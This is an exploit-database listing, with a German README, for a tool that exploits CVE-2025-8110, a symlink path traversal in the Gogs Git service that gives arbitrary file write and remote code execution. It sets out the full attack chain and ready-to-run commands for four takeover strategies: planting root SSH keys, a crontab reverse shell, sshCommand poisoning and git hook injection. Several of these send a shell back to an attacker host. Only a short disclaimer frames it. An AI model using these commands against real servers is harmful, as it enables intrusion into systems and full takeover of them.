Sploitus

Exploit for CVE-2025-8110

kitploit · 2026-08-29

Exploit Code

MARKDOWN121 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POPYUE-CVE-2025-8110
# CVE-2025-8110 — Symlink-Pfad-Traversal in Gogs → RCE

## Ăśberblick

**CVE-2025-8110** ist eine kritische Schwachstelle im Gogs (selbst gehosteter Git-Dienst) in Versionen **< = 0.13.3**. Die `PutContents`-API validiert Dateipfade auf Verzeichnis-Traversal (`../`), löst jedoch **keine** symbolischen Links vor dem Schreiben auf. Ein authentifizierter Benutzer kann einen Commit mit einem Symlink, der auf eine beliebige Serverdatei verweist, pushen und dann `PutContents` auf diesen Symlink aufrufen, um die echte Datei mit vom Angreifer kontrolliertem Inhalt zu überschreiben.

Dies ist eine Umgehung des frĂĽheren Fixes fĂĽr **CVE-2024-55947** , der nur direktes Pfad-Traversal, aber kein symlink-basiertes Traversal adressierte.

Detail| Wert  
---|---  
**CVE**|  CVE-2025-8110  
**Betroffen**|  Gogs <= 0.13.3  
**Behoben**|  Gogs 0.13.4  
**Typ**|  Authentifiziertes beliebiges Dateischreiben → RCE  
**CVSS**|  8.8 (Hoch)  
**Komponente**|  PutContents API (`/api/v1/repos/:owner/:repo/contents/:path`)  
  
## Voraussetzungen

  * Python 3.8+
  * `requests` (`pip install requests`)
  * `git` CLI
  * Ein gĂĽltiges Gogs-Konto auf der Zielinstanz



## RCE-Strategien

Dieses Exploit unterstĂĽtzt **4 eingebaute RCE-Strategien** sowie einen generischen Dateischreibmodus:

## Verwendung

root@kitploit:~
    
    
    # Check if target is vulnerable (no credentials needed)
    python3 exploit.py http://target:3000 --check-only
    
    # Strategy A: Plant SSH key for root access
    python3 exploit.py http://target:3000 -u user -p pass \
        --rce-keys ~/.ssh/id_rsa.pub --cleanup
    
    # Strategy B: Crontab reverse shell
    python3 exploit.py http://target:3000 -u user -p pass \
        --rce-cron --lhost 10.10.14.5 --lport 4444
    
    # Strategy C: sshCommand injection
    python3 exploit.py http://target:3000 -u user -p pass \
        --rce-ssh --lhost 10.10.14.5 --lport 4444
    
    # Strategy D: Git hook injection
    python3 exploit.py http://target:3000 -u user -p pass \
        --rce-hook --lhost 10.10.14.5 --lport 4444
    
    # Generic file write
    python3 exploit.py http://target:3000 -u user -p pass \
        --write --target-file /tmp/pwned --content "proof-of-concept"
    
    # Write from local file
    python3 exploit.py http://target:3000 -u user -p pass \
        --write --target-file /root/.ssh/authorized_keys \
        --content-file ~/.ssh/id_rsa.pub
    

### Angriffskette im Detail

  1. **Authentifizieren** — API-Token über Basic Auth erstellen (`POST /api/v1/users/:user/tokens`) - Anmeldung über API-Token (Basic Auth)
  2. **Repository erstellen** — `POST /api/v1/user/repos` mit `auto_init: true` (POST /api/v1/user/repos (auto_init))
  3. **Symlink pushen** — Repository per HTTP klonen (Anmeldedaten in URL eingebettet), Symlink erstellen, der auf die Zieldatei zeigt, commit & push (git clone -> os.symlink(target) -> git push)
  4. **Durch Symlink schreiben** — `PUT /api/v1/repos/:owner/:repo/contents/:link` mit base64-kodiertem Inhalt. Gogs löst den Symlink auf der Festplatte auf und schreibt in die echte Datei (PUT /api/v1/repos/.../contents/linkn_ame)
  5. **RCE auslösen** — RCE-Auslöser hängt von der Strategie ab (SSH-Anmeldung, Cron-Ausführung, sshCommand-Auswertung oder Hook-Ausführung)



## Optionen

root@kitploit:~
    
    
    target                  Gogs-Basis-URL (z.B. http://target:3000)
    
    Authentifizierung:
      -u, --user            Gogs-Benutzername
      -p, --password        Gogs-Passwort
    
    RCE-Strategien:
      --rce-keys PUBKEY     SSH-öffentlichen Schlüssel einpflanzen → /root/.ssh/authorized_keys
      --rce-cron            Reverse Shell → /etc/crontab
      --rce-ssh             .git/config sshCommand vergiften + auslösen
      --rce-hook            pre-receive Hook überschreiben + auslösen
      --write               Allgemeines beliebiges Dateischreiben
    
    Verbindung / Nutzlast:
      --lhost LHOST         Angreifer-IP fĂĽr Reverse Shell
      --lport LPORT         Angreifer-Port fĂĽr Reverse Shell
      --target-file PATH    Serverpfad zum Ăśberschreiben (--write-Modus)
      --content STRING      Inhalt zum Schreiben
      --content-file DATEI  Lokale Datei zum Schreiben
    
    Optionen:
      --repo NAME           Repository-Name (Standard: zufällig)
      --cleanup             Exploit-Repository nach Abschluss löschen
      -o, --output DATEI    Berichtsdatei (Standard: loot.json)
      --timeout SEKUNDEN    Anfrage-Timeout (Standard: 15)
      --proxy URL           HTTP-Proxy zum Debuggen
      --check-only          Nur prĂĽfen, ob Ziel Gogs ist, nicht ausnutzen
    

## Referenzen

  * Wiz Research Blog
  * NVD — CVE-2025-8110
  * Gogs Patch PR #8078
  * GHSA-mq8m-42gh-wq7r



## Haftungsausschluss

Dieses Tool wird ausschließlich für **autorisierte Sicherheitstests und Bildungszwecke** bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.